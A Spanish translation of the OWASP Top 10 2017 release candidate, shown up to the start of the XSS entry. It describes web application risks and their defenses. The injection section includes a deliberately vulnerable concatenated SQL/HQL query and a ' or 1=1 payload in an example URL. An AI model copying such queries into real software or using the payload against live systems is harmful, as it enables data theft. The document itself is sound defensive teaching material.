You are on page 1of 22

VERSION CANDIDATA

RC
AVISO IMPORTANTE

Solicitud de observaciones.
OWASP planea lanzar la versin pblica final del OWASP Top 10 2017 en Julio o Agosto del 2017 luego
del perodo final del 30 de Junio del 2017.

Este lanzamiento del Top10 de OWASP marca el dcimo cuarto ao de incrementar la concientizacin de
la importancia de los riesgos de seguridad en las aplicaciones. Esta liberacin contina la actualizacin del
2013, cuyos principales cambios fueron agregados en "Uso de Componentes Conocidos Vulnerables"
2013-A9. Nos complace ver que desde el lanzamiento del Top 10 en el 2013, todo el ecosistema de las
herramientas libres y comerciales ha crecido para ayudar a combatir ste problema con el uso de
componentes de cdigo abierto, ha continuado con una expansin prcticamente en cada lenguaje de
programacin. La informacin tambin sugiere el uso de componentes conocidos vulnerables sigue
predominante, no tan generalizado como antes. Creemos que la concientizacin de ste Top 10 OWASP
generado en el 2013 ha contribuido a ambos cambios.

Tambin notamos que desde que el CSRF fue presentado en el Top 10 en el 2017, fue descartado como
una vulnerabilidad extendida a una no muy comn. Muchos frameworks incluyen automatizacin de
defensas contra CSRF lo cual ha contribuido significativamente a su rechazo aproximado, junto con mucha
concientizacin de los desarrolladores que deben protegerse contra esos ataques.

Los comentarios constructivos sobre ste OWASP Top 10 - 2017RC, deben enviarse por email a
OWASPTopTen@lists.owasp.org. Los comentarios privados pueden enviarse a dave.wichers@owasp.org.
Los comentarios annimos son bien recibidos. Todos los comentarios no-privados sern catalogados y
publicados al mismo tiempo que la versin final. Los comentarios que recomienden cambios a los tems
listados en el Top 10 deben incluir una lista completa de sugerencias de los 10 tems, acompaado con una
base racional para cualquier cambio. Todos los comentarios deben indicar la pgina y seccin relevante.

Continuando con la publicacin final del Top 10 de OWASP -2017, el trabajo colaborativo de la comunidad
de OWASP continuar con actualizaciones de soporte a los documentos incluidos en la wiki de OWASP, La
Gua de los Desarrolladores OWASP, Gua de Verificaciones de OWASP, Gua de Revisin de Cdigos
OWASP, y la Hoja Rpida de Prevencin OWASP, junto con las traducciones del Top 10 a diferentes
idiomas

Su comentario es primordial para el continuo crecimiento del Top 10 de OWASP y todos los proyectos
OWASP. Gracias por la dedicacin para mejorar la seguridad del software en el mundo.

Jeff Williams, Creador del proyecto y co-autor del Top 10.


Dave Wichers, Leader del proyecto y co-autor del OWASP Top 10.

Traducido por XyZ para la comunidad de Underc0de


O Sobre OWASP.

Prlogo. Sobre OWASP.


El software inseguro est debilitando las finanzas, defensa, El proyecto abierto de seguridad en aplicaciones Web (OWASP
energa y otras infraestructuras crticas. A medida que la por sus siglas en ingls) es una comunidad abierta dedicada a
infraestructura digital se hace cada vez ms compleja e facultar a las organizaciones a desarrollar, adquirir y mantener
aplicaciones que pueden ser conables.
Interconectada, la dificultad de lograr la seguridad en
aplicaciones aumenta exponencialmente. No se puede dar el En OWASP encontrar guas gratuitas y abiertas
lujo de tolerar problemas de seguridad relativamente
sencillos, como los que se presentan en este OWASP Top Herramientas y estndares de seguridad en aplicaciones
10. Libros completos de revisiones de seguridad en
aplicaciones, desarrollo de cdigo fuente seguro, y
El objetivo del proyecto Top 10 es crear conciencia acerca revisiones de seguridad.
de la seguridad en aplicaciones mediante la identificacin de Controles de seguridad estndar y libreras
algunos de los riesgos ms crticos que enfrentan las Captulos locales en todo el mundo
organizaciones Investigaciones de vanguardia
Extensas conferencias alrededor del mundo
El proyecto Top 10 es referenciado por muchos estndares, Listas de correo
libros, herramientas, y organizaciones incluyendo MITRE, Aprenda ms en: https://www.owasp.org
PCI DSS, DISA, FCT, y muchos ms . OWASP Top 10 fue
lanzado por primera vez en 2003, con actualizaciones Todas las herramientas de OWASP, documentos, foros, y
menores en 2004 y 2007. La versin 2010 fue renovada para captulos son gratuitas y abiertas a cualquiera interesado en
dar prioridad al riesgo, no slo a la prevalencia, y su patrn mejorar la seguridad en aplicaciones. Abogamos por resolver la
continuado en el 2013 y el ltimo lanzamiento 2017. seguridad en aplicaciones como un problema de personas,
procesos y tecnologa, ya que los enfoques ms efectivos para la
seguridad en aplicaciones requieren mejoras en todas estas
Lo invitamos a que utilice el Top 10 para hacer que su
reas.
organizacin se inicie en la temtica sobre seguridad en
aplicaciones. Los desarrolladores pueden aprender de los OWASP es un nuevo tipo de organizacin. Nuestra libertad de
errores de otras organizaciones. Los ejecutivos deben presiones comerciales nos permite brindar informacin sobre
comenzar a pensar cmo gestionar el riesgo que las seguridad en aplicaciones sin sesgos, prctica y efectiva.
aplicaciones de software crean en sus empresas. A largo OWASP no est aliada con ninguna compaa de tecnologa,
plazo, le recomendamos que cree un programa de seguridad aunque apoyamos el uso instruido de tecnologas de seguridad
en aplicaciones que sea compatible con su cultura y su comercial. Al igual que muchos otros proyectos de software de
cdigo abierto, OWASP produce muchos tipos de materiales de
tecnologa.
una manera abierta y colaborativa.

Estos programas vienen en todas las formas y tamaos, y La fundacin OWASP es una entidad sin fines de lucro para
debe evitar tratar de hacer todo lo prescrito por algn modelo asegurar el xito a largo plazo del proyecto. Casi todos los
de procesos. En cambio, debe aprovechar las fortalezas asociados a OWASP son voluntarios, incluyendo junta directiva
existentes en su organizacin para hacer y medir lo que le de OWASP, comits globales, lderes de captulos, lderes y
funcione a usted. miembros de proyectos.

Esperamos que OWASP Top 10 sea til para sus esfuerzos Apoyamos la investigacin innovadora sobre seguridad a travs
de becas e infraestructura.
de seguridad en aplicaciones. Por favor no dude en ponerse
en contacto con OWASP para sus dudas, comentarios, e
ideas, ya sea pblicamente a owasp-topten@lists.owasp.org
o en privado a dave.wichers@owasp.org.
nase a nosotros!

Licencia y Derechos de Autor.


Derechos de Autor 2003 2017 La Fundacin OWASP.

Este documento es lanzado bajo la licencia de Creative Commons Attribution ShareAlin 3.0. Para cualquier
reutilizacin o distribucin, debe verificar los otros trminos de licencias de ste trabajo

Traducido por XyZ para la comunidad de Underc0de


I Introduccin.
Bienvenido.
Bienvenido al Top 10 2017 de OWASP! Esta actualizacin agrega por primera vez dos nuevas categoras de
vulnerabilidades: (1) Proteccin insuficiente contra ataques y (2) APIs bajo protecciones. Hemos realizado laboratorios
para estas dos nuevas categoras uniendo las categoras de control de acceso (2013-A4 y 2013-A7) dentro de Control
de Acceso sin Proteccin, el cul fue agregado al Top 10 en el 2010.

El Top 10 de OWASP para el 2017 est basado principalmente en 11 grandes conjuntos de datos, desde firmas que se
especializan en la seguridad de aplicacin, incluyendo 8 compaas consultoras y 3 vendedores de productos. Estos
conjuntos de vulnerabilidades obtenidas van desde cientos de organizaciones y sobre ms de 50.000 aplicaciones del
TOP 10 son seleccionados y priorizados desde la preponderancia de los datos, combinados con el consenso de
estimacin de explotabilidad, detectabilidad e impacto.

El primer apunte del Top 10 de OWASP es para educar a los desarrolladores, diseadores, arquitectos,
administradores y organizaciones sobre las consecuencias ms importantes de la debilidad y seguridad de las
aplicaciones web. El Top 10 provee tcnicas bsicas para proteger contra stos elevados riesgos - y adems proveer
una gua a donde ir a partir de aqu.

Advertencia. Agradecimientos.
No se detenga en el Top 10. Existen cientos de problemas que Gracias a Aspect Security por iniciar, liderar, y actualizar el
pueden afectar la seguridad en general de una aplicacin web OWASP Top 10, desde sus inicios en 2003, y a sus autores
tal como se ha debatido en la Gua de Desarrollo OWASP y primarios: Jeff Williams y Dave Wichers.
OWASP Hoja de configuracin rpida. Este documento es de
lectura esencial para cualquiera que desarrolle aplicaciones web
hoy en da. Una efectiva orientacin en cmo encontrar
vulnerabilidades en aplicaciones web es suministrada en la Gua
de Pruebas OWASP y la Gua de Revisin de Cdigo OWASP.
Nos gustara agradecer a las organizaciones que han
Cambio constante. Este Top 10 continuar cambiando. Incluso contribuido con sus vulnerabilidades para actualizar el 2017,
sin cambiar una sola lnea de cdigo en la aplicacin, es posible incluyendo algunos de ellos:
llegar a ser vulnerable, ya que al descubrirse nuevos defectos,
los ataques son refinados. Por favor, revise los consejos al final Aspect Security AsTech Consulting
del Top 10 "Prximos para Desarrolladores, Verificadores y Branding Brand Contrast Security
Organizaciones" para mayor informacin. EdgeScan iBLISS
Minded Security Paladion Networks
Piense positivamente. Cuando se encuentre preparado para Softtek Vantage Point
dejar de buscar vulnerabilidades y focalizarse en establecer Veracode
controles seguros de aplicaciones, OWASP ha producido una
Estndares de Verificacin en la Seguridad de las Aplicaciones
(ASVS) como gua para organizaciones y revisores de Por primera vez, todos los datos contribuidos al lanzamiento
del Top 10 y la lista completa de los contribuyentes es de
aplicaciones que detalla los controles de seguridad a verificar en
conocimiento publico.
una aplicacin.
Nos gustara dar las gracias a todos los que contribuyeron con
Utilice herramientas inteligentemente. Las vulnerabilidades las versiones anteriores del Top 10. Sin estas aportaciones, no
de seguridad pueden ser bastante complejas y encontrarse sera lo que es hoy. Tambin nos gustara dar las gracias a
ocultas en miles de cdigos. En muchos casos, el enfoque ms aquellos que han aportado comentarios constructivos y a los
eficiente y econmico para encontrar y eliminar dichas que dedicaron tiempo de revisin de esta actualizacin del Top
vulnerabilidades es la combinacin de expertos armados con 10.
buenas herramientas para realizar esta tarea.
Neil Smithline (MorphoTrust USA) Por producir la
Push left. Enfocarse en hacer que la seguridad sea parte de la wiki de esta versin del Top 10 y proporcionar
cultura organizacional a travs de todo el ciclo de desarrollo. informacin.
Puede encontrar ms informacin en Open Software Assurance
Maturity Model (SAMM) y RuggeHandbook. Y, por ltimo , nos gustara de antemano dar las gracias a
todos los traductores por traducir esta versin del Top 10 en
idioma, lo que ayuda a hacer que el OWASP Top 10 sea
accesible al planeta entero.

Traducido por XyZ para la comunidad de Underc0de


N Notas de la versin.
Qu cambi desde la versin del 2013 a la del 2017?

El panorama de amenazas para aplicaciones y APIs constantemente cambia. Los factores claves en sta evolucin son la rpida
adopcin de nuevas tecnologas (incluyendo clouds, contenedores y APIs), la aceleracin y automatizacin del proceso del desarrollo
del software como Agile y DevOps, la exposicin de libreras de terceros, frameworks y descubrimientos realizados por atacantes.
Estos factores frecuentemente hacen a las aplicaciones y APIs ms complejas de analiza, y pueden significativamente cambiar el
panorama de amenazas. Para mantener la paz, peridicamente actualizamos el Top 10. Este lanzamiento 2017, contiene los
siguientes cambios:

1. Mezclamos 2013-A4: Referencia Directa Insegura a Objetos y 2013-A7: Ausencia de Control de Acceso a Funciones dentro de
2017-
A4: Control de Acceso sin Proteccin.
En el 2007, separamos Control de Acceso sin Proteccin dentro de esas dos categoras para brindar ms atencin a cada mitad del problema
Del Control de Acceso (datos y funcionalidad). No cremos que sea necesario por eso lo fusionamos nuevamente.
2. Agregamos 2017-A7: Proteccin Insuficiente contra Ataques:
Durante aos, hemos considerado agregar defensas insuficientes contra los ataques automatizados. Basados en la llamada de datos, vemos
que la mayora de aplicaciones y APIs no tienen las aptitudes bsicas para detectar, prevenir y responder a ambos mtodos, manual y
ataques automticos. Los dueos de aplicaciones y APIs tambin necesitan ser capaces de generar parches rpidos que los protejan contra
los ataques.
3. Agregamos 2017-A10: APIs bajo protecciones:
Las aplicaciones modernas y APIs a veces involucran contenido rico en las aplicaciones clientes, como JavaScript en el navegador y
aplicaciones mviles, que estn conectadas a una API o alguna de ellas (SOAP/XML, REST/JSON, RPC, GTW). Estas Apis a veces estn
bajo protecciones y contienen muchas vulnerabilidades. Incluimos algunas para ayudar a la organizacin a enfocarse en la mayor exposicin
emergente.
4. Descartamos: 2013-A10: Redirecciones y Reenvos no validos:
En el 2010, aadimos sta categora para generar conciencia del problema. Sin embargo la informacin muestra que es inconveniente no ha
sido explotado como esperamos. Luego de lanzar los dos anteriores Top 10, sta vez no hizo ningn cambio.

NOTA: El Top 10 est organizado sobre las reas de mayor riesgo, y no pretenden estar en lo correcto, sin sobreponer una estricta
tenotoma. Algunos de ellos estn centrados en el atacante, alguna vulnerabilidad, defensa y amenaza. Las organizaciones deben
considerar establecer iniciativas para prevenir estos inconvenientes.

OWASP Top 10 2013 (Anterior) OWASP Top 10 2017 (Actual)

A1 - Inyeccin. A1 - Inyeccin.

A2 - Prdida de Autenticacin y Gestin de A2 - Perdida de Autenticacin y Gestin de


Sesiones Sesiones.
A3 - Secuencia de Comandos en Sitios A3 - Secuencia de Comandos en Sitios Cruzados
Cruzados (XSS). (XSS).

A4 - Referencia Directa Insegura a Objetos A4 - Control de Acceso sin Proteccin (Categora


Fusionado con A7. original en 2003/2004).
A5 - Defectuosa configuracin de Seguridad A5 - Defectuosa Configuracin de Seguridad

A6 - Exposicin de Datos Sensibles A6 - Exposicin de Datos Sensibles.

A7 - Ausencia de Control de Acceso a A7 - Proteccin Insuficiente contra Ataques


Funciones Fusionado con A4. (Nuevo).
A8 - Falsificacin de Peticiones en Sitios A8 - Falsificacin de Peticiones en Sitios
Cruzados (CSRF) Cruzados (CSRF)
A9 - Uso de Componentes con Vulnerabilidades A9 - Uso de Componentes con Vulnerabilidades
Conocidas. Conocidas.
A10 - Redirecciones y renvos no Vlidos A10 - APIs bajo protecciones (Nuevo).
(descartado)

Traducido por XyZ para la comunidad de Underc0de


RSA Riesgo de Seguridad en las Aplicaciones.

Qu son los riesgos de seguridad en las aplicaciones?

Los atacantes pueden potencialmente usar rutas diferentes a travs de la aplicacin para hacer dao a su negocio u organizacin.
Cada una de estas rutas representa un riesgo que puede, o no, ser lo suficientemente grave como para justificar la atencin.

A veces, estas rutas son triviales de encontrar y explotar, y a veces son muy difciles. Del mismo modo, el dao que se causa puede ir
de ninguna consecuencia, o ponerlo fuera del negocio. Para determinar el riesgo en su organizacin, puede evaluar la probabilidad
asociada a cada agente de amenaza, vector de ataque, y la debilidad en la seguridad, y combinarla con una estimacin del impacto
tcnico y de negocios para su organizacin. En conjunto, estos factores determinan el riesgo global.

Cul es mi riesgo? Referencias.

El Top 10 de OWASP se enfoca en la identificacin de los riesgos ms serios para


una amplia gama de organizaciones. Para cada uno de estos riesgos,
proporcionamos informacin genrica sobre la probabilidad y el impacto tcnico a OWASP:
travs del siguiente esquema de calificaciones, que est basado en Metodologa de
Evaluacin de Riesgos OWASP.
OWASP Risk Rating Methodology.
Article on Threat/Risk Modeling.
Agente de Vectores Irrelevancia Detectabilidad Impacto Impacto al
Amenaza de de de Tcnico Negocio.
Ataque debilidades debilidades EXTERNAS:
Especifico Fcil Difundido Fcil Severo Especifico
de la Promedio Comn Promedio Moderado de la FAIR Information Risk Framework.
aplicacin. Difcil Poco Difcil Menor aplicacin Microsoft Threat Modeling (STRIDE
Comn /negocio
and DREAD).
Slo usted conoce los detalles especficos de su negocio. Para una aplicacin
determinada, podra no existir un agente de amenaza que pueda ej: ejecutar el
ataque en cuestin, o el impacto tcnico podra no hacer ninguna diferencia en su
negocio. Por lo tanto, debe evaluar cada riesgo, enfocndose en los agentes de
amenaza, los controles de seguridad y el impacto al negocio. Nosotros enunciamos
los Agentes de Amenaza como especficos de la aplicacin, y el impacto al negocio
como especifico de la aplicacin/negocio, con el fin de indicar que estos son
claramente dependientes de los detalles especficos de las aplicaciones en su
empresa.

Los nombres de los riesgos en el Top 10 derivan del poder del ataque del tipo de
debilidad o el tipo de impacto que causan. Hemos elegido los nombres que reflejan
con precisin los riesgos y, cuando es posible, alineamos con la terminologa
comn para aumentar el nivel de conciencia sobre ellos.

Traducido por XyZ para la comunidad de Underc0de


OWASP Top 10 de Riesgos de Seguridad en
T10 Aplicaciones - 2017

A1- Inyeccin Las fallas de inyeccin, tales como SQL, OS y LDAP, ocurren cuando datos no confiables son enviados
a un intrprete como parte de un comando o consulta. Los datos hostiles de atacante pueden engaar al
intrprete en ejecutar comandos no intencionados o acceder a datos no autorizados.

A2 Prdida de Las funciones de la aplicacin relacionadas a autenticacin y gestin de sesiones son implementadas
Autenticacin y con frecuencia incorrectamente, permitiendo al atacante comprometer contraseas, claves, tokens de
Gestin de Sesin. sesiones o explotar otras fallas de implementacin para asumir la identidad de otros usuarios.

A3 Secuencia de Las fallas XSS ocurren cada vez que una aplicacin toma datos no confiables y los enva al navegador
Comandos en web sin una validacin y codificacin apropiada. XSS permite a los atacantes ejecutar secuencias de
comandos en el navegador de la vctima, los cuales pueden secuestrar las sesiones del usuario, destruir
Sitios Cruzados
sitios web o dirigir al usuario hacia un sitio malicioso.
(XSS)

A4 Control de Las restricciones de lo que los usuarios autenticados tienen permiso a realizar no se encuentran
Acceso sin propiamente fortificado. Los atacantes pueden explotar sta falla para acceder a funciones sin
Proteccin. restricciones o informacin, como obtener acceso a cuentas de otros usuarios, visualizar archivos
sensibles, modificar informacin de otros usuarios, cambiar los accesos.

A5 Configuracin Una buena seguridad requiere tener denida e implementada una conguracin segura para la
aplicacin, marcos de trabajo, servidor de aplicacin, servidor web , base de dato , y plataforma. Todas
de Seguridad
estas conguraciones deben ser denida , implementada , y mantenidas ya que por lo general no son
Incorrecta. seguras por defecto. Esto incluye mantener todo el software actualizado, incluidas las libreras de cdigo
realizadas por la aplicacin.

A6 Exposicin de Muchas aplicaciones web no protegen adecuadamente datos sensibles tales como nmeros de tarjetas
de crdito o credenciales de autenticacin. Los atacantes pueden robar o modificar tales datos para
datos Sensibles. llevar a cabo fraudes, robos de identidad u otros delitos. Los datos sensibles requieren de mtodos de
proteccin adicionales tales como el cifrado de datos, como tambin precauciones especiales en un
intercambio de datos con el navegador.

A7- Proteccin La mayora de aplicaciones y APIs fallan en la habilidad bsica de detectar, prevenir y responder a
ataques manuales y automticos. La proteccin contra ataques va ms all de una bsica validacin de
insuficiente contra ingreso de datos e implica la deteccin automtica, ingreso, respuesta e inclusive bloquear intentos de
ataques. explotacin.
Los dueos de las aplicaciones tambin necesitan ser capaces de realizar parches de forma rpida para
protegerse contra los ataques.

A8 Falsificacin Un ataque CSRF obliga al navegador de una vctima autenticada a enviar una peticin HTTP falsicada,
de peticin en Incluyendo la sesin del usuario y cualquier otra informacin de autenticacin incluida automticamente,
a una aplicacin web vulnerable. Esto permite al atacante forzar al navegador de la vctima para generar
Sitios Cruzados pedidos que la aplicacin vulnerable piensa son peticiones legtimas provenientes de la vctima.
(CSRF).

A9- Uso de Los componentes, como librera, frameworks y otros mdulos de softwares, se ejecutan con los mismos
componentes con privilegios que la aplicacin. Si un componente es vulnerable y explotado, un ataque puede facilitar una
prdida seria de informacin o incluso la prdida de control de un servidor. Las Aplicaciones y APIs
vulnerabilidades utilizan componentes con vulnerabilidades conocidas pueden debilitar la defensa de una aplicacin y
conocidas. permitir varios ataques e impactos.

A10- APIs bajo Las aplicaciones modernas a veces implican aplicaciones y APIs enriquecidas, como JavaScript en el
navegador y aplicaciones mviles, que se conectan a una API o algn tipo (SOAP/XML, REST/JSON,
proteccin. RPC, GET, etc.). stas APIs a veces son desprotegidas y contienen numerosas vulnerabilidades.

Traducido por XyZ para la comunidad de Underc0de


A1 Inyeccin

Especifico de la Explotabilidad Prevalencia Deteccin Impacto Especifico de la


Aplicacin. FACIL. COMUN PROMEDIO SEVERO Aplicacin/
Negocio

Considere a El atacante enva ataques Las fallas de inyeccin ocurren cuando Una inyeccin Considere el valor de
cualquiera que pueda con cadenas simples de una aplicacin enva informacin no puede causar negocio de los datos
enviar informacin no texto, los cuales explotan confiable a un intrprete. Estas fallas prdida o corrupcin afectados y la
confiable al sistema, la sintaxis del intrprete a son muy comunes, particularmente en de datos, prdida de plataforma sobre la
incluyendo usuarios vulnerar. Casi cualquier cdigo antiguo. Se encuentran responsabilidad o que corre el
externos, usuarios fuente de datos puede ser frecuentemente, en consultas SQL, negacin de acceso. intrprete. Los datos
internos y un vector de inyeccin, LDAP, Xpath o NoSQL; los comandos Algunas veces una pueden ser robados,
Administradores. incluyendo las fuentes de SO, intrpretes de XML, inyeccin puede modificados o
internas. encabezados SMTP, argumentos de llevar al compromiso eliminados. Podra
programas. Estas fallas son fciles de total del servidor. ser daada su
descubrir mediante pruebas. Los reputacin?
analizadores y FUZZERS- pueden
ayudar a los atacantes a encontrar
fallas de seguridad.

Soy vulnerable a Inyeccin? Cmo prevengo la inyeccin?


La mejor forma de averiguar si una aplicacin es vulnerable a Prevenir la inyeccin requiere mantener los datos sin confiar
Inyeccin es verificar que en todo uso de intrpretes se separa separados de las consultas y comandos.
la Informacin no confiable del comando o consulta. Para
llamados SQL, esto significa usar variables parametrizadas en 1. La opcin preferida es utilizar APIs seguras las cuales evaden el
todas las sentencias preparadas y procedimientos uso de intrpretes o proveen una interfaz parametrizada. Sea
almacenados, evitando las consultas dinmicas. cuidadoso con las APIs, tales como procedimientos almacenados,
Verificar el cdigo es una manera rpida y precisa para ver si la que son parametrizados, pero pueden seguir introduciendo
aplicacin usa intrpretes de manera segura. Herramientas de inyecciones.
anlisis de cdigo pueden ayudar al analista de seguridad a ver 2. Si una API parametrizada no se encuentra disponible, debe
como se utilizan los intrpretes y seguir el flujo de datos a cuidadosamente utilizar escapes de caracteres especiales utilizando
travs de la aplicacin. el escape especfico para el intrprete de la sintaxis. OWASPS
Los testeadores pueden validar estos problemas al crear Java Encoder y libreras similares proveen rutinas de escape.
pruebas que confirmen la vulnerabilidad. El anlisis dinmico
3. La validacin de ingreso de datos mediante Listas Blancas es
automatizado, el cual ejercita la aplicacin puede proveer una
recomendable, aunque no es una defensa completa como muchas
idea de si existe alguna inyeccin explotable. Los analizadores
situaciones requieren escapes especiales. Si se necesitan escapes
automatizados no siempre pueden alcanzar a los intrpretes y
especiales, una aproximacin (1) y (2) por encima sern
les dificulta detectar si el ataque fue exitoso. Un manejo pobre
aproximaciones seguras. OWASPs ESAPI tiene una extensa
de errores hace a las inyecciones fciles de descubrir.
librera de rutinas y listas blancas.

Ejemplos de escenarios de ataques. Referencias.


OWASP
1. Una aplicacin utiliza informacin no confiable en la construccin
de la siguiente consulta SQL vulnerable: OWASP SQL Injection Prevention Cheat Sheet
String query= SELECT * FROM accouts WHERE custID= + OWASP Query Parameterization Cheat Sheet
request.getParameter(id)+ : OWASP Command Injection Article
2. Una aplicacin confa ciegamente en el framework, puede contener OWASP XXE Prevention Cheat Sheet
consultas an vulnerables (Ej. Hibernate Query Language (HQL)): OWASP Testing Guide: Chapter on SQL Injection
Query HQLQuery = session.createQuery(FROM accounts
WHERE custID= + request.getParameter(id) + ); Testing
Externas.
Ambos casos, el atacante modifica el valor del parmetro id en
su navegador para enviar: or 1=1. Por ejemplo:
CWE Entry 77 on Command Injection
http://example.com/app/accountView?id= or 1=1 CWE Entry 89 on SQL Injection
Estos cambios modifican ambas consultas para devolver todos CWE Entry 564 on Hibernate Injection
los registros de la tabla accounts. Ataques ms peligrosos CWE Entry 611 on Improper Restriction of XXE
pueden modificar informacin o incluso invocar procedimientos CWE Entry 917 on Expression Language Injection
almacenados.

Traducido por XyZ para la comunidad de Underc0de


A2 Perdida de Autenticacin y Gestin de Sesin.
.

Especifico de la Explotabilidad Prevalencia Deteccin Impacto Especifico de la


aplicacin PROMEDIO COMUN PROMEDIO SEVERO aplicacin/negocio

Los atacantes El atacante utiliza Los desarrolladores con frecuencia Estas vulnerabilidades Considere el valor de
annimos externos filtraciones o crean esquemas propios de pueden permitir que los datos del negocio
como usuarios con vulnerabilidades en las autenticacin o gestin de sesiones, algunos o todas las
sus propias funciones de para construirlos en forma correcta, es cuentas sean Afectados o las
cuentas, podran autenticacin o gestin difcil. Con frecuencia stos esquemas atacadas. Una vez funciones de la
intentar robar de sesiones (ej. propios contienen vulnerabilidades en el que el ataque resulto aplicacin expuesta.
cuentas de otros. Cuentas expuestas, cierre de sesin, gestin de exitoso, el atacante
Considere tambin contraseas, id de contraseas, tiempo de desconexin podra realizar
a trabajadores que sesin) para suplantar (expiracin), funcin de recordar cualquier accin que Tambin el impacto en
quieran otros usuarios. contrasea, pregunta secreta, la vctima pudiese. el negocio de la
enmascarar sus actualizacin de cuenta. Encontrar Las cuentas exposicin pblica de
acciones. stas vulnerabilidades puede ser difcil, privilegiadas son la vulnerabilidad.
porque cada implementacin es nica. objetivos prioritarios.

Soy vulnerable al robo de sesin? Cmo prevengo esto?


Estn correctamente protegidos los activos de la gestin de La recomendacin principal para una organizacin es
sesiones como credenciales y los identificadores (ID) de sesin? facilitar a los desarrolladores:
Puedes ser vulnerable s. 1. Un conjunto de controles de administracin de
1. Las credenciales de los usuarios no estn protegidas cuando se sesin y autenticacin. Tales controles debern
almacenan utilizando un hash o cifrado. Ver 2017-A6. conseguir:
2. Se pueden adivinar o sobrescribir las credenciales a travs de funciones
dbiles de gestin de la sesin (ej. Creacin de usuarios, cambio de a) Conocer todas los requerimientos de autenticaciones y
contrasea, recuperacin de contraseas, ID de sesin dbiles). administracin de sesin definidos en Estndares de
3. Los ID de sesin son expuestos en la URL (ej. re-escritura de URL). Verificacin en la Seguridad de las Aplicaciones
4. Los ID de sesin son vulnerables a ataques de jacin de la sesin. (ASVS) areas V2 (Authentication) and V3 (Session
5. Los ID de sesin no expiran, o las sesiones de usuario o los tokens de Management).
autenticacin. En particular, los tokens de inicio de sesin nico (SSO), b) Tener un interfaz simple para los desarrolladores.
no son invalidados durante el cierre de sesin. Considerar el uso de ESAPI Authenticator y APIs de
6. Los ID de sesiones no son rotados luego de una autenticacin exitosa. usuario como buenos ejemplos a seguir utilizar o sobre
los que construir.
7. Las contraseas, ID de sesin y otras credenciales son trasmitidas a
travs de canales no cifrados. Ver 2017-A6.
2. Debe realizar un gran esfuerzo en evitar
vulnerabilidades de XSS que podran ser utilizadas
Visitar la seccin de requisitos de ASVS V2 y V3 para ms detalles. para robar ID de sesin. Ver 2017-A3.

Ejemplos de escenarios de ataques. Referencias.

1. Aplicacin de reserva de vuelos que soporta re-escritura de URL OWASP


poniendo los ID de sesin en la propia direccin: Para un conjunto mayor de requerimiento y problemas a
evitar, vea ASVS requirements areas for Authentication
hvp://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQ (V2) and Session Management (V3).
SNDLPSKHCJUN2JV?dest=Hawaii
OWASP Authentication Cheat Sheet
Un usuario autenticado en el sitio quiere mostrar la oferta a sus amigos. Enva OWASP Forgot Password Cheat Sheet
por correo electrnico el enlace anterior, sin ser consciente de que est OWASP Password Storage Cheat Sheet
proporcionando su ID de sesin. Cuando sus amigos utilicen el enlace OWASP Session Management Cheat Sheet
utilizarn su sesin y su tarjeta de crdito. OWASP Testing Guide: Chapter on Authentication
2. No se establecen correctamente los tiempos de expiracin de la sesin Externo.
en la aplicacin. Un usuario utiliza un ordenador pblico para acceder al
sitio. En lugar de cerrar la sesin, cierra la pestaa del navegador y se
marcha. Un atacante utiliza el mismo navegador al cabo de una hora, y CWE Entry 287 on Improper Authentication
ese navegador todava se encuentra autenticado. CWE Entry 384 on Session Fixation
3. Un atacante interno o externo a la organizacin, consigue acceder a la
base de datos de contraseas del sistema. Las contraseas de los
usuarios no se encuentran cifradas, exponiendo todas las contraseas al
atacante.

Traducido por XyZ para la comunidad de Underc0de


A3 Secuencias de Comandos en Sitios Cruzados (XSS)

Especifico de la Explotabilidad Prevalencia Detectabilidad Impacto Especifico de la


aplicacin PROMEDIO DIFUNDIDA PROMEDIO MODERADO aplicacin/negocio

Considere El atacante enva cadenas Las fallas XSS ocurren cuando una El atacante puede Considerar el valor para el
cualquier persona de texto que son aplicacin actualiza una pgina web ejecutar secuencias negocio del sistema
que pueda enviar secuencias de comandos controlada por un atacante, sin un correcto de comandos en el afectado y de los datos
datos no conables de ataque que explotan el escape, que contenga una API segura navegador de la que ste procesa.
al sistema, intrprete del navegador. JavaScript.Hay dos categoras primarias de vctima para
incluyendo Casi cualquier fuente de XSS: secuestrar las
Tambin considere el
usuarios externos, datos puede ser un vector sesiones de usuario,
impacto en el negocio la
internos y de ataque, incluyendo alterar la apariencia
1) Almacenado exposicin pblica de la
administradores. fuentes internas tales del sitio web, insertar
2) Reflejado vulnerabilidad.
como datos de la base de cdigo hostil, redirigir
datos. usuarios, secuestrar
Y cada uno de ellos puede ocurrir en el el navegador de la
servidor o el cliente. La deteccin de un vctima utilizando
Servidor Xss es bastante fcil mediante el malware, etc.
anlisis de cdigo. Un cliente Xss puede
ser difcil de identificar.

Soy vulnerable a XSS? Cmo prevengo un XSS?

Es vulnerable a SERVER XSS si del lado del servidor el cdigo Prevenir XSS requiere mantener los datos no conables
utiliza ingresos por parte del usuario como parte de la salida separados del contenido activo del navegador.
HTML, y no utiliza un contexto sensible de escapes para
asegurarse que no se ejecute el cdigo. Si una pgina web 1. Para evitar un Servidor XSS, la opcin preferida es escapar
utiliza JavaScript dinmicamente permite al atacante controlar apropiadamente la informacin sin confiar en el HTML
la informacin hacia la pgina, puede tener CLIENT XSS. (body, atributos, JavaScript, Css o Url), para que la
Podra evitar que un atacante enve datos controlados hacia informacin sea real. Ver la Hoja de trucos de OWASP
APIs JavaScript no seguras, pero realizando escapes (y una para la prevencin de XSS.
extensin menor) la validacin de ingreso de datos pueden 2. Para evitar XSS CLIENT, la opcin preferida es evitar
usarse para hacer lo ms seguro. enviar contenido no confiado a JavaScript y APIs de otros
navegadores que puedan generar contenido activo. Cuando
Las herramientas automatizadas pueden encontrar algunos no puede evitar, tcnicas de escape en contextos sensibles
XSS. Sin embargo, cada aplicacin construye la salida de pueden aplicarse a la APIs del navegador descripto en la
forma diferente y utiliza diferentes interpretes para los OWASP DOM based XSS Prevention Cheat Sheet.
navegadores como JavaScript, ActiveX, Flash y Silverlight, 3. Para contenido en formato enriquecido, considere utilizar
usualmente utilizan libreras de terceros. Esta diversidad Bibliotecas de auto sanitizacin como AntiSamy de OWASP
dificulta las detecciones automticas particularmente al utilizar o el proyecto sanitizador de HTML en Java.
aplicaciones de pginas simples y potentes frameworks 4. Considere utilizar polticas de seguridad de contenido
JavaScript y libreras. Por lo tanto, una completa cobertura (CSP) para defender contra XSS la totalidad de su sitio.
requiere una combinacin de revisin manual de cdigo y
pruebas de penetracin, adems de las aproximaciones
automticas.

Ejemplos de escenarios de Ataques Referencias.

La aplicacin utiliza datos no conables en la construccin del OWASP


